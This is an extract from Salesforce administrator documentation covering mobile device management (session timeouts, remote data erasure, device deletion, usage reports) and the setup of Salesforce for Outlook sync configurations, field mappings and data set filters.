For security reasons, the mobile client application is set to lock out users after ten minutes of inactivity. Administrators can
adjust or disable this setting on a device-by-device basis. You might disable the timeout setting if the mobile device's operating
system has its own locking mechanism.
To change the mobile session timeout value:
1. Navigate to the Mobile Devices and Users page or the Mobile Device page:

Click Your Name > Setup > Mobile Administration > Salesforce Mobile > Users and Devices. From the list view,
you can select multiple devices at one time.
OR

Click Your Name > Setup > Manage Users > Users. Click Edit next to a user's name, and then click the device address
in the Assigned Mobile Devices related list.

2. Click Set Mobile Session Timeout.


3. Choose the new timeout value in minutes. You also have the option to choose Never Expire if users should not be locked
out of the mobile application.
4. Click Save.
Salesforce attempts to send a message containing the new session timeout setting to the selected mobile devices.

1006

Salesforce Mobile

Managing Mobile Devices

5. A confirmation page summarizes the results for each mobile device you selected.
Mobile Session Timeout Results
After Salesforce sends the new session timeout session to the selected mobile devices, a results page provides information about
the status of each message. The table below describes the three possible outcomes:
Result

Description

Message successfully queued

The mobile server has sent the message to the device.


Salesforce cannot detect if the message was received by the
device.

Unable to send message

A temporary communication problem between Salesforce and


the mobile server prevented the message from being sent. Try
again later.

User has no mobile device

The selected mobile user never registered a device, so therefore


the message could not be sent.

See Also:
Managing Mobile Devices
Viewing Mobile Device Information
Erasing Mobile Data
Deleting Mobile Devices
Salesforce Mobile Overview

Erasing Mobile Data


Available in: Unlimited and Developer Editions
Available for an additional cost in: Professional and Enterprise Editions

User Permissions Needed


To delete the mobile data on a device:

Manage Mobile Configurations

A mobile device activated by a Salesforce user contains both the mobile client application and a set of the user's Salesforce
data. An administrator can remove the data from a device without uninstalling the mobile application. This is an effective
security tool when a user misplaces his or her device. You also must erase a device's data if you plan to give it to another user.
To erase the Salesforce data on one or more mobile devices:
1. Navigate to the Mobile Devices and Users page or the Mobile Device page:

Click Your Name > Setup > Mobile Administration > Salesforce Mobile > Users and Devices. From the list view,
you can select multiple devices at one time.

1007

Salesforce Mobile

Managing Mobile Devices

Click Your Name > Setup > Manage Users > Users. Click Edit next to a user's name, and then click the device address
in the Assigned Mobile Devices related list.

2. Click Erase Data, and then click OK.


Salesforce attempts to send a message to the mobile devices to erase the data.
Erase Data Results
After Salesforce sends the message to the mobile devices to erase data, a results page provides information about the status of
each message. The table below describes the three possible outcomes:
Result

Description

Message successfully queued

The mobile server has sent the message to the device.


Salesforce cannot detect if the message was received by the
device.

Unable to send message

A temporary communication problem between Salesforce and


the mobile server prevented the message from being sent. Try
again later.

User has no mobile device

The selected mobile user never registered a device, so therefore


the message could not be sent.

See Also:
Managing Mobile Devices
Viewing Mobile Device Information
Setting Mobile Session Timeout Values
Deleting Mobile Devices

Deleting Mobile Devices


Available in: Unlimited and Developer Editions
Available for an additional cost in: Professional and Enterprise Editions

User Permissions Needed


To view mobile devices and users:

View Setup and Configuration

To delete mobile devices:

Manage Mobile Configurations

There are two instances when you would delete a mobile device from a user's record:

1008

Salesforce Mobile

Managing Mobile Devices

Your organization's mobile settings permanently link mobile users to their devices, and you need to assign a device to a
different user. If you did not enable this setting, Salesforce automatically associates a device record with the mobile user
who most recently activated the device, so it is unnecessary to delete a device to assign it to another user.
You want to move a device from your sandbox organization to your production organization.

To delete a mobile device:


1. Navigate to the Mobile Devices and Users page or the Mobile Device page:

Click Your Name > Setup > Mobile Administration > Salesforce Mobile > Users and Devices. From the list view,
you can select multiple devices at one time.
OR

Click Your Name > Setup > Manage Users > Users. Click Edit next to a user's name, and then click the device address
in the Assigned Mobile Devices related list.

2. On the Mobile Devices and Users page, select one or more devices, then click Delete Device. On the Mobile Device page,
click Delete.
3. Click OK.
Salesforce attempts to delete the selected device(s).
4. A confirmation page summarizes the results for each mobile device you selected.
Delete Device Results
After Salesforce sends the message to the mobile server to delete the devices, a results page provides information about the
status of each device. The table below describes the three possible outcomes:
Result

Description

Device deleted.

Salesforce removed the device record from your organization.

Device cannot be deleted at this time. Please try again later. A temporary communication problem between Salesforce and
the mobile server prevented the device from being deleted.
Try again later.
User has no mobile device.

The selected mobile user never registered a device, so therefore


the message could not be sent.

See Also:
Erasing Mobile Data
Sandbox Overview

1009

Salesforce Mobile

Customizing Mobile Settings

Customizing Mobile Settings


Available in: All Editions except Database.com

User Permissions Needed


To view mobile settings:

View Setup and Configuration

To change mobile settings:

Manage Mobile Configurations

To customize mobile settings for your organization:


1. Click Your Name > Setup > Mobile Administration > Salesforce Mobile > Settings.
2. Click Edit.
3. Select Enable Mobile Lite to allow users without a mobile license to install and run Mobile Lite, the free, restricted
version of Salesforce Mobile.
Starting with Spring '09, Mobile Lite is enabled by default in all new organizations. You can disable Mobile Lite to prevent
users from accessing Salesforce from a mobile device.
Note: If you deselect this option and users are running Mobile Lite, the Salesforce data on their devices will be
erased the next time the devices synchronize with Salesforce.
4. Select Permanently Link User to Mobile Device to prevent mobile users from registering any mobile device
other than the one they used for their initial Salesforce Mobile account activation.
By default, Salesforce automatically associates a device record with the mobile user who most recently activated the device,
so administrators do not need to update the device record to assign the device to another user. While this behavior makes
it easy to switch devices between users in your organization, some administrators prefer that users are permanently linked
to the devices they were originally assigned. This helps administrators of organizations with highly sensitive data ensure
that their users do not access corporate data from personal devices.
Caution: Enabling the Permanently Link User to Mobile Device setting requires administrative action
when users need to switch devices. You must manually delete the existing device from a user's record in order for
the user to register a different device. If you do not delete the device, the user will be unable to access Salesforce
Mobile.
5. Click Save.

See Also:
Salesforce Mobile Overview
Mobile Lite Overview
Chatter Mobile App Overview
Managing Mobile Configurations
Managing Mobile Devices
Salesforce Mobile Usage Data in Custom Report Types

1010

Salesforce Mobile

Salesforce Mobile Usage Data in Custom Report Types

Salesforce Mobile Usage Data in Custom Report Types


Available in: Group, Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To create or update custom report types:

Manage Custom Report Types

To delete custom report types:

Modify All Data

You can create custom report types with data that shows how your organization uses Salesforce Mobile. For example, the
reports can show how often users access Salesforce Mobile, which mobile device models they use, and so forth.
To create a custom report type with Salesforce Mobile usage data, select the Mobile Session Primary Object when defining
a custom report type. When you select the fields for the custom report type, choose from the following Salesforce Mobile-specific
fields.
Mobile Usage Data Point

Definition

Brand

Wireless carrier

Data Size (Bytes)

Total size of records on device

Device Address

Unique physical address of device (PIN for BlackBerry or


UDID for iOS)

Device Application Version

Installed version of Salesforce Mobile

Device Model

Model of device

Device Operating System Version

Version of operating system installed on device

Duration

Duration of the mobile session in seconds

Last Registration Date

Date of last registration or activation

Last Status Date

Date of last communication received from device

Manufacturer

Manufacturer of device

Metadata Size (Bytes)

Size of metadata (page layouts, picklist values, and so forth)


on the device

Owner: Full Name

Name of the device user

Session Start Date

Date the mobile session started

Status

Indicator that the user's data set exceeds the maximum allowed
size by the mobile configuration

1011

Administering Salesforce for Outlook

Salesforce for Outlook System Requirements

Note:

Mobile sessions are similar to Web-based sessions in login history reports; however, mobile sessions have a fixed
timeout value of 20 minutes. Salesforce creates a new Mobile Session when a user logs into or launches Salesforce
Mobile after 20 minutes of inactivity in the app or on the device in general.
Mobile session reports only have usage data for the Salesforce Mobile app and not the Chatter mobile app.
Some devices do not provide every physical attribute. For example, Apple devices do not provide brand.

See Also:
Salesforce Mobile Overview
Mobile Lite Overview
Customizing Mobile Settings
Managing Mobile Configurations
Managing Mobile Devices

ADMINISTERING SALESFORCE FOR OUTLOOK


Salesforce for Outlook System Requirements
Available in: Group, Professional, Enterprise, Unlimited, Developer, and Contact Manager Editions; and Trial
organizations

System Requirements

Microsoft Outlook 2010 (64-bit and 32-bit) or 2007 on Microsoft Exchange


Microsoft Windows 7 (64-bit and 32-bit), Windows Vista (32-bit only), or Windows XP (32-bit only) on Microsoft
Exchange
Latest versions of hot fixes for Outlook and Windows

Other Requirements
Servers
Server configuration

Does salesforce.com support this server configuration?

Systems that connect to the Internet


through a proxy server

Yes.

IMAP and POP3 email servers

No.

We support automatic proxy detection, manual proxy, and NTLM proxy


authentication. We dont, however, support manual proxy authentication.

Terminal servers, such as Citrix servers No.

1012

Administering Salesforce for Outlook

Salesforce for Outlook System Requirements

Details about Salesforce for Outlook Installers


For all Salesforce for Outlook installers, we dont support Microsoft Office Click-to-Run.
If you plan to use the .msi installer, you may need to install the following additional tools:

Microsoft .NET Framework 4


Microsoft Visual Studio 2010 Tools for Office Runtime
Primary Interop Assemblies (PIA) Redistributable for your version of Microsoft Outlook

Microsoft Windows Vista and Windows 7 .msi users must run the command prompt as an administrator and then
launch the installer from the command line, such as from the command msiexec /i SalesforceForOutlook.msi.
Single Sign-On Requirements
Salesforce for Outlook supports both delegated authentication and Security Assertion Markup Language (SAML)
requirements. When using SAML in Salesforce for Outlook, My Domain is required. We dont support using a separate
online identity provider for single sign-on.

See Also:
Salesforce for Outlook Overview
Installing Salesforce for Outlook
Reviewing the Salesforce for Outlook Terms of Use
Salesforce for Outlook Supported Languages

Salesforce for Outlook Supported Languages


Available in: Group, Professional, Enterprise, Unlimited, Developer, and Contact Manager Editions; and Trial
organizations

Salesforce for Outlook supports these languages.

Chinese (Simplified)
Chinese (Traditional)
Czech
Danish
Dutch
English
German
Finnish
French
Hebrew
Hungarian
Italian
Japanese
Korean

1013

Administering Salesforce for Outlook

Salesforce for Outlook Configurations Overview

Polish
Portuguese (Brazil)
Romanian
Russian
Spanish
Spanish (Mexico)
Swedish
Thai
Turkish
Ukrainian
Vietnamese

The Salesforce for Outlook installer doesn't support:

Hebrew
Portuguese (Brazil)
Romanian
Spanish (Mexico)
Thai
Vietnamese

See Also:
Salesforce for Outlook System Requirements

Salesforce for Outlook Configurations Overview


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view configurations:

View Setup and Configuration

To create, edit, or delete configurations:

Manage Email Client Configurations

A Salesforce for Outlook configuration is a set of parameters that determine the data that Salesforce for Outlook users can
sync between Microsoft Outlook and Salesforce. You can create multiple configurations to simultaneously suit the needs
of different types of users. For example, a sales team might want to sync everything, while a manager might only want to sync
events. Users may be able to edit some of their own settings.
Default configurations are automatically assigned to users of Contact Manager and Group Editions.
To manage your configurations, click Your Name > Setup > Desktop Administration > Outlook Configurations.

To create a configuration, click New Outlook Configuration.


To edit a configuration, click Edit.

1014

Administering Salesforce for Outlook

Creating Salesforce for Outlook Configurations

To delete a configuration, click Del.


To view details about a configuration, click its name.
To activate a configuration, click Edit next to the configuration, select Active, and click Save.
To deactivate a configuration, click Edit next to the configuration, deselect Active, and click Save. If the configuration's
users are listed on another active configuration through a profile, that configuration is used the next time they open Outlook.
Otherwise, they're unable to use Salesforce for Outlook.

See Also:
Creating Salesforce for Outlook Configurations
Defining Data Sets for Salesforce for Outlook
Checking the Size of Salesforce for Outlook Data Sets
Default Salesforce for Outlook Configuration
Salesforce for Outlook Overview

Creating Salesforce for Outlook Configurations


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view configurations:

View Setup and Configuration

To create, edit, or delete configurations:

Manage Email Client Configurations

1.
2.
3.
4.
5.

Click Your Name > Setup > Desktop Administration > Outlook Configurations.
Click New Outlook Configuration.
Enter a name and description of the configuration.
Select Active to activate the configuration.
Make sure Notify of product updates is selected if you want users to see system tray alerts when new versions of
Salesforce for Outlook are available for download. Users are alerted every 14 days until they download the new version or
hide system tray alerts.
6. Depending on the configuration, you'll need to define some or all of these settings.

Assigned users and profiles


Add email and create cases
Sync direction
Conflict behavior
Field mappings
Matching criteria
Modification permissions
Advanced settings

7. Click Save.

1015

Administering Salesforce for Outlook

Creating Salesforce for Outlook Configurations

8. Define data sets.


When users log in to Salesforce from the Salesforce for Outlook setup wizard, these settings take effect immediately. If you
deactivate a configuration and the assigned users are listed on another active configuration through a profile, the active
configuration is used the next time they open Outlook.

See Also:
Salesforce for Outlook Configurations Overview
Default Salesforce for Outlook Configuration

Assigning Users to Salesforce for Outlook Configurations


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view configurations:

View Setup and Configuration

To create, edit, or delete configurations:

Manage Email Client Configurations

After you define basic information for a Salesforce for Outlook configuration, you select the Salesforce for Outlook users that
the configuration's settings will apply to.
1.
2.
3.
4.
5.

Click Your Name > Setup > Desktop Administration > Outlook Configurations.
Click Edit.
In the Assign Users and Profiles section, select either Profiles or Users in the Search drop-down list.
If you don't see the member you want to add, enter keywords in the search box and click Find.
Select members from the Available Members box, and click Add to add them to the group. If all available users are assigned
to this configuration, the Users list is empty and you can only assign profiles.
6. To remove members, select those members and click Remove. If removed users are assigned to another active configuration
through a profile, that other configuration is used the next time they open Outlook. Otherwise, they're unable to use
Salesforce for Outlook.
7. Click Save. All changes take effect the next time data syncs for the users in this configuration. If you assign a user who is
already assigned to a different configuration, that user is removed from the other configuration and assigned to this one.
If an assigned user is also part of a profile assigned to another active configuration, the configuration that lists the user
directly is used.

See Also:
Creating Salesforce for Outlook Configurations
Salesforce for Outlook Configurations Overview
Enabling Add Email and Create Case in Salesforce for Outlook

1016

Administering Salesforce for Outlook

Creating Salesforce for Outlook Configurations

Defining Data Settings for Salesforce for Outlook


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view configurations:

View Setup and Configuration

To create, edit, or delete configurations:

Manage Email Client Configurations

Data settings control the sync behavior and email functionality of Salesforce for Outlook. You can define the following settings
using the Data Settings fields in a Salesforce for Outlook configuration.

Add email and create cases


Sync direction
Conflict behavior
Field mappings
Matching criteria
Modification permissions

Enabling Add Email and Create Case in Salesforce for Outlook


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view configurations:

View Setup and Configuration

To create, edit, or delete configurations:

Manage Email Client Configurations

To enable Add Email and Create Case

Customize Application

You can set up Salesforce for Outlook to add emails and create cases from Microsoft Outlook.
Enabling Add Email
Enabling Add Email for your Salesforce for Outlook users adds Add Emails and Send and Add buttons to Outlook that let
users add emails to Salesforce in a single click.
Emails that you add using Salesforce for Outlook are saved in Salesforce and assigned to other records based on your My
Email to Salesforce settings.
1. Click Your Name > Setup > Desktop Administration > Outlook Configurations.
2. Click Edit.

1017

Administering Salesforce for Outlook

Creating Salesforce for Outlook Configurations

3. Select Add Email.


4. Click Save.
5. If you don't already have Email to Salesforce, click Enable in the popup message to enable both features.
Enabling Create Case
Enabling Create Case for your Salesforce for Outlook users adds the Create Cases drop-down list button to Outlook. This
button lets users create cases from Outlook emails for Salesforce.
Note: Before you can enable the Create Case feature, review and complete the procedures in Setting Up Create Case
for Salesforce for Outlook Users on page 1018. Then, return to this topic to complete the following procedure.
1. Click Your Name > Setup > Desktop Administration > Outlook Configurations.
2. Click Edit.
3. Select Create Case. Then, choose one of the following links.

Recommended: Choose an Existing Create Case Destination, which lets you choose existing destinations. You can
choose up to 10 destinations for each Outlook configuration.
Create a New Create Case Destination. If you need to create a new one, you need to first save your work, create the
new destination, and then return to the Outlook Configuration page to complete the Create Case setup requirements.

4. Click Save.

See Also:
Adding Email with Salesforce for Outlook
Editing Your Salesforce for Outlook Email Settings
Resolving Your Unassigned Emails
Creating Salesforce for Outlook Configurations
Assigning Users to Salesforce for Outlook Configurations

Setting Up Create Case for Salesforce for Outlook Users


Available in: Professional, Enterprise, Unlimited, and Developer Editions
The Create Case feature in Salesforce for Outlook lets users create cases in Salesforce from emails in Microsoft Outlook.
As an administrator, you can create Email-to-Case destinations that appear in the drop-down list button Create Cases in
Outlook. For each destination, you choose the assignee, which can be either individual users or queues. You can add up to 10
destinations for each Outlook configuration. When users create cases, they can add up to 10 emails simultaneously for each
destination.
Before Salesforce for Outlook users can create cases from Outlook emails, youll need to perform the following procedures.
1. If you havent already enabled the On-Demand Service for Email-to-Case, complete the procedure Enabling On-Demand
Email-to-Case on page 1377.
2. If you havent already defined Email-to-Case destinations (also known as email routing addresses), complete the procedure
Defining and Verifying Email Routing Addresses on page 1377.

1018

Administering Salesforce for Outlook

Creating Salesforce for Outlook Configurations

3. Enable Create Case in your configurations. The topic Enabling Create Case on page 1018 provides details for editing
configurations to include the drop-down list button Create Cases in Outlook.
Salesforce for Outlook assigns a category to the emails that Salesforce for Outlook users add as cases to Salesforce. This
category, Added to Salesforce as a case, makes it easy for users to search for emails they added as cases to Salesforce.

See Also:
Creating Salesforce for Outlook Configurations
Enabling Add Email and Create Case in Salesforce for Outlook

Defining Sync Directions for Salesforce for Outlook


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view configurations:

View Setup and Configuration

To create, edit, or delete configurations:

Manage Email Client Configurations

Sync direction indicates the direction data flows when Salesforce for Outlook syncs data.
1. Click Your Name > Setup > Desktop Administration > Outlook Configurations.
2. Create or edit a configuration, and select one of these sync directions under Data Settings for each object being synced.

Don't syncOutlook and Salesforce records aren't synced, and you can't select an Outlook folder to sync within
the setup wizard.

Salesforce.com to OutlookWhen data first syncs, a record in Salesforce creates or updates a record in
Outlook. During future syncs, changes made to Salesforce records appear in Outlook, regardless of whether the Outlook
version of the record has changed. In addition, deleting a synced record in Salesforce deletes its Outlook counterpart.
Outlook changes are never sent to Salesforce. The required conflict behavior setting for this option is Salesforce.com
always wins.

Outlook to salesforce.comDuring its first sync, a record in Outlook creates or updates a record in Salesforce.
During future syncs, changes made to Outlook records appear in Salesforce, regardless of whether the Salesforce version
has changed. In addition, deleting a synced record in Outlook deletes its Salesforce counterpart. Salesforce changes are
never sent to Outlook. The required conflict behavior setting for this option is Outlook always wins. This option
isn't available for contacts.

Sync both waysWhen records sync, changes to Outlook records are reflected in Salesforce, and vice versa. If
records conflict, the conflict behavior setting determines which record wins.

3. Click Save. All changes take effect the next time data syncs for the users in this configuration.

1019

Administering Salesforce for Outlook

Creating Salesforce for Outlook Configurations

4. Define a data set for each object that has a sync direction.

See Also:
Defining Data Sets for Salesforce for Outlook
Creating Salesforce for Outlook Configurations
Salesforce for Outlook Configurations Overview
Defining Conflict Behavior for Salesforce for Outlook
Enabling Add Email and Create Case in Salesforce for Outlook

Defining Conflict Behavior for Salesforce for Outlook


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view configurations:

View Setup and Configuration

To create, edit, or delete configurations:

Manage Email Client Configurations

Conflict behavior settings determine what happens when Salesforce for Outlook encounters a conflict when syncing data both
ways. A conflict occurs when the same record is updated in both Salesforce and Outlook or when a record is updated on one
side and deleted in the other.
1. Click Your Name > Setup > Desktop Administration > Outlook Configurations.
2. Edit a configuration, and select a conflict behavior under Data Settings for each object being synced. Possible options are:

Salesforce.com always wins


Outlook always wins

3. Click Save. All changes take effect the next time data syncs for the users in this configuration.

See Also:
Creating Salesforce for Outlook Configurations
Salesforce for Outlook Configurations Overview
Mapping Fields for Salesforce for Outlook
Defining Sync Directions for Salesforce for Outlook

1020

Administering Salesforce for Outlook

Creating Salesforce for Outlook Configurations

Mapping Fields for Salesforce for Outlook


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view configurations:

View Setup and Configuration

To create, edit, or delete configurations:

Manage Email Client Configurations

Field mappings define which Salesforce and Outlook fields correspond when records sync with Salesforce for Outlook.
Salesforce comes with a set of default mappings. You may be able to change some of them.
To map fields:
1. Click Your Name > Setup > Desktop Administration > Outlook Configurations
2. Under Data Settings, click Edit Field Mappings to display the list of available fields.
3. Choose a field from the Salesforce Field picklist. This list displays the names of all Salesforce fields that haven't yet
been mapped.
Caution: If you map a custom field that is universally required, make sure it has a default value to avoid errors.
Also, note that mapping custom fields that require validation by Salesforce may cause sync errors. For example, if
you map a custom Salesforce field that requires a unique value, you'll get a uniqueness error when you sync if you
enter a non-unique value in the Outlook field.
4. Choose a field from the Outlook Field picklist next to the selected Salesforce.com field. This list displays the names
of all standard Outlook fields that haven't yet been mapped and that match the data type of the corresponding Salesforce
field.
5. To map a Salesforce field to a custom Outlook field, select Custom Field... from the end of the corresponding
Outlook Field picklist. Enter the field's name and click OK.
The custom field must already exist in Outlook. Letters are not case-sensitive, and these characters aren't allowed: [, ], _,
#. The first sync validates that the custom Outlook field exists and then maps it to the Salesforce field. Custom Outlook
fields use a string data type. Note that we only allow custom fields for Salesforce text fields and non-restricted picklists.
6. To remove a field mapping, click the delete icon to the right of the mapping. To redo the mapping, just add a new mapping
to the bottom of the list. To view your mappings, click View under Field Mapping on the detail page.
7. Click Save. All changes take effect the next time data syncs for the users in this configuration.

1021

Administering Salesforce for Outlook

Creating Salesforce for Outlook Configurations

Note: You can map custom Salesforce fields to standard or custom Outlook fields. You can't map picklist values.

See Also:
Creating Salesforce for Outlook Configurations
Salesforce for Outlook Configurations Overview
Defining Matching Criteria for Salesforce for Outlook
Defining Conflict Behavior for Salesforce for Outlook

Defining Matching Criteria for Salesforce for Outlook


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view configurations:

View Setup and Configuration

To create, edit, or delete configurations:

Manage Email Client Configurations

If Salesforce for Outlook finds multiple matching contacts when a contact first syncs from Outlook, we pick a Salesforce
contact based on the matching criteria you define here.
1. Click Your Name > Setup > Desktop Administration > Outlook Configurations.
2. Edit a configuration, and select one of these matching criteria options under Data Settings for contacts.

Most recent activityChoose the Salesforce contact that shows the most recent activity (such as a phone call

or email), as shown in the contact's Activity History related list. This is the default matching option.
Last updatedChoose the Salesforce contact that was most recently modified.
OldestChoose the Salesforce contact that has the earliest creation date.

3. Click Save. All changes take effect the next time data syncs for the users in this configuration.
If we don't find a matching contact in Salesforce, we create a new contact that syncs with the Outlook contact. We then either
automatically assign the synced contact to a Salesforce account, leave it unassigned, or place it in the user's My Unresolved
Items page to be manually assigned.

See Also:
Creating Salesforce for Outlook Configurations
Salesforce for Outlook Configurations Overview
Mapping Fields for Salesforce for Outlook

1022

Administering Salesforce for Outlook

Creating Salesforce for Outlook Configurations

Letting Users Modify Salesforce for Outlook Settings


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view configurations:

View Setup and Configuration

To create, edit, or delete configurations:

Manage Email Client Configurations

1. Click Your Name > Setup > Desktop Administration > Outlook Configurations.
2. Edit a configuration, and select any of the following checkboxes under Data Settings for each object being synced. You
can allow users to modify:

Whether object is synced


Sync direction
Conflict behavior
Field mappings

3. Click Save. All changes take effect the next time data syncs for the users in this configuration.
You can overwrite users' modifications any time by selecting Overwrite configuration changes made by users
in a configuration. After you save the updated configuration, the new settings replace the existing settings for users of the
configuration the next time their data syncs.

Defining Advanced Settings for Salesforce for Outlook


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view configurations:

View Setup and Configuration

To create, edit, or delete configurations:

Manage Email Client Configurations

Use advanced settings in a Salesforce for Outlook configuration to customize the default behavior of Salesforce for Outlook,
such as setting the maximum size of the sync log. Click Edit to change the value of an advanced setting or Remove to remove
it from the configuration.
1.
2.
3.
4.

Click Your Name > Setup > Desktop Administration > Outlook Configurations.
Click Edit.
Click Add Advanced Setting in the Advanced Settings section of an Outlook configuration.
Choose one of these settings and enter a value.

1023

Administering Salesforce for Outlook

Creating Salesforce for Outlook Configurations

Advanced Setting

Description

HTTPTimeout

Number of seconds Salesforce for Outlook waits while trying to establish an


HTTP connection with Salesforce. Value must be between 15 and 360 seconds,
and the default is 30.

MaxLogFileSize

Maximum file size of the sync log you'll maintain. Value must be between 1
and 128 MB, and the default is 1.

MaxRetries

Number of times Salesforce for Outlook tries to connect to Salesforce. Value


must be between 0 and 10, and the default is 3.

5. Click OK.
6. Click Save. All changes take effect the next time data syncs for the users in this configuration.

See Also:
Creating Salesforce for Outlook Configurations
Salesforce for Outlook Configurations Overview
Defining Data Sets for Salesforce for Outlook

Default Salesforce for Outlook Configuration


Available in: Contact Manager and Group Editions

Because Salesforce for Outlook configurations are only available in Professional, Enterprise, Unlimited, and Developer Editions,
users of Contact Manager and Group Editions are automatically assigned a default configuration so they can use Salesforce
for Outlook. The default configuration has these settings.

EmailAdd Email is enabled if Email to Salesforce is turned on.


Contacts
Sync DirectionSync both ways
Conflict BehaviorOutlook always wins
Filters
Contacts: User's Records
Contacts on Accounts: User's Records
Contacts in Chatter: Records User is Following

Field MappingDefault settings


Matching CriteriaMost recent activity

Events
Sync DirectionSync both ways
Conflict BehaviorOutlook always wins

1024

Administering Salesforce for Outlook

Defining Data Sets for Salesforce for Outlook

Filters
User's Records
Date greater or equal to LAST 30 DAYS

Field MappingDefault settings


Tasks

Sync DirectionSync both ways


Conflict BehaviorSalesforce.com always wins
Filters
User's Records
Due date greater or equal to LAST 30 DAYS

Field MappingDefault settings

Defining Data Sets for Salesforce for Outlook


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view configurations:

View Setup and Configuration

To create, edit, or delete configurations:

Manage Email Client Configurations

To create, edit, or delete data sets:

Sync Direction can't be Don't sync

Data sets are subsets of the Salesforce records that Salesforce for Outlook users can sync. They consist of filters that limit
which records will sync. Each configuration must have a data set in order for users to sync with Outlook.
The Outlook Configuration detail page shows a summary of the configuration's current filters.
1.
2.
3.
4.
5.

Click Your Name > Setup > Desktop Administration > Outlook Configurations.
Click the name of an Outlook configuration.
In the Data Sets related list, click Edit.
Specify filters.
To see how many items will sync, you can check the data set size.

1025

Administering Salesforce for Outlook

Defining Data Sets for Salesforce for Outlook

6. Click Save.

See Also:
Sample Salesforce for Outlook Data Sets
Tips on Entering Salesforce for Outlook Contact Filters
Salesforce for Outlook Configurations Overview
Checking the Size of Salesforce for Outlook Data Sets

Learning about Data Sets for Salesforce for Outlook


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view configurations:

View Setup and Configuration

To create, edit, or delete configurations:

Manage Email Client Configurations

To create, edit, or delete data sets:

Sync Direction can't be Don't sync

Data sets are subsets of the Salesforce records that Salesforce for Outlook users can sync. They consist of filters that limit
which records will sync.
Knowing What Syncs
Salesforce for Outlook syncs records based on definitions in data sets, along with records related to them.
Understanding Limits to Data Sets
When using data sets, users can sync up to 5,000 records per filter between Microsoft Outlook and Salesforce at a time.
This means that if users have more than 5,000 records to sync based on the configuration of their data sets, Salesforce for
Outlook won't sync some of them. In addition, users may find that syncing these large quantities of records may slow down
the sync process. You can, however, increase the limits for the number of records users can sync. Just keep in mind that you
can't reduce the likelihood of the sync process slowing down.
Increasing Limits to Data Sets
If your users are working with more than 5,000 records, you can configure their data sets so that they can sync larger quantities
of records. To do this, you'll their edit data sets to include additional filters. For example, under Filter By Record Ownership
in the Contact Filters section, choose Selected Contacts. Then, choose User's Records under Contacts, Contacts on
Opportunities, and Contacts on Accounts. Because the data set now has three filters, your users can now sync up to 15,000
contact records.
Keep in mind that these various filters you set up won't necessarily select records that are mutually exclusive. Therefore, the
sync process might not sync exactly 15,000 records. To avoid this situation, you can further refine the group of contacts you
want to sync. Just define additional parameters under Filter By Additional Objects and Fields.

1026

Administering Salesforce for Outlook

Defining Data Sets for Salesforce for Outlook

After defining the filters, you can get a record count for your users in the Data Set Size section. To do so, enter a user, and
then click Get Record Count. If your users still exceed sync limits for the filters you set up, you users may find that the sync
process selects records in a random fashion.
About Person Accounts
If your organization enabled person accounts and your users have more than 5,000 records in Salesforce, data sets work in a
different way. Specifically, Salesforce runs a query first on person accounts that match filter criteria, and then on contacts
assigned to these accounts. So it's possible for the sync process to reach the 5,000 record limit (including person accounts and
contacts) and not include some of the contacts your users would expect to sync.

See Also:
Entering Contact Filters for Salesforce for Outlook
Entering Event Filters for Salesforce for Outlook
Entering Task Filters for Salesforce for Outlook
Checking the Size of Salesforce for Outlook Data Sets

Entering Contact Filters for Salesforce for Outlook


Available in: Professional, Enterprise, Unlimited, and Developer Editions

User Permissions Needed


To view configurations:

View Setup and Configuration

To create, edit, or delete configurations:

Manage Email Client Configurations

To filter contacts by opportunity teams:

Opportunity Team Selling

To filter contacts by account teams:

Account Teams

To create, edit, or delete data sets:

Sync Direction can't be Don't sync

Data sets are subsets of the Salesforce records that Salesforce for Outlook users can sync. They consist of filters that limit
which records will sync. For example, you may want to let certain users sync all contacts, but let other users sync only contacts
related to their sales teams. In addition, you can filter by the fields in the records, such as letting users sync only contacts related
to specific accounts and opportunities.
The Outlook Configuration detail page shows a summary of the configuration's current filters.
1. Define a data set for a configuration.
2. Under Filter By Record Ownership, specify whether users can sync all contacts or only selected ones.
3. If you click Selected Contacts, you can further limit which contacts users can sync using these checkboxes.

Contacts
User's RecordsSyncs all contacts the user owns
User's Team's RecordsSyncs all contacts owned by the user and the user's subordinates in the role hierarchy

1027

Administering Salesforce for Outlook

Defining Data Sets for Salesforce for Outlook

Contacts on Opportunities
User's RecordsSyncs contacts related to the user's opportunities
User's Team's RecordsSyncs contacts related to opportunities owned by the user and the user's subordinates
in the role hierarchy
User's Sales Teams' RecordsSyncs contacts related to opportunities the user is a sales team member of
but not opportunities the user owns

Contacts on Accounts
User's RecordsSyncs contacts related to the user's accounts
User's Team's RecordsSyncs contacts related to accounts owned by the user and the user's subordinates in
the role hierarchy
User's Account Teams' RecordsSyncs contacts related to accounts the user is a team member of but not
accounts the user owns

4. Under Filter By Additional Objects and Fields, add any field-level filters you need.
a. Select an object and a field within that object.
b. Select the correct filter operator.
c. Enter a value for the selected field.
5. Click Add Row to add a new filter or Remove Row to delete the last one in the list.
6. Under Other Contacts to Include, make sure Sync contacts users follow in Chatter is selected if you want
Chatter contacts to automatically sync for users of this configuration.
7. You can use the Get Record Count button to check how many records will sync for a sample Salesforce for Outlook user
based on the configuration's filters.
Note: If you remove access to certain objects by deselecting the Selected Contacts checkboxes, filters for those
objects will be marked with a warning icon indicating that they're no longer valid. All marked filters are removed when
you save.

See Also:
Tips on Entering Salesforce for Outlook Contact Filters
Defining Data Sets for Salesforce for Outlook
Sample Salesforce for Outlook Data Sets
Checking the Size of Salesforce for Outlook Data Sets

Tips on Entering Salesforce for Outlook Contact Filters


Available in: Professional, Enterprise, Unlimited, and Developer Editions

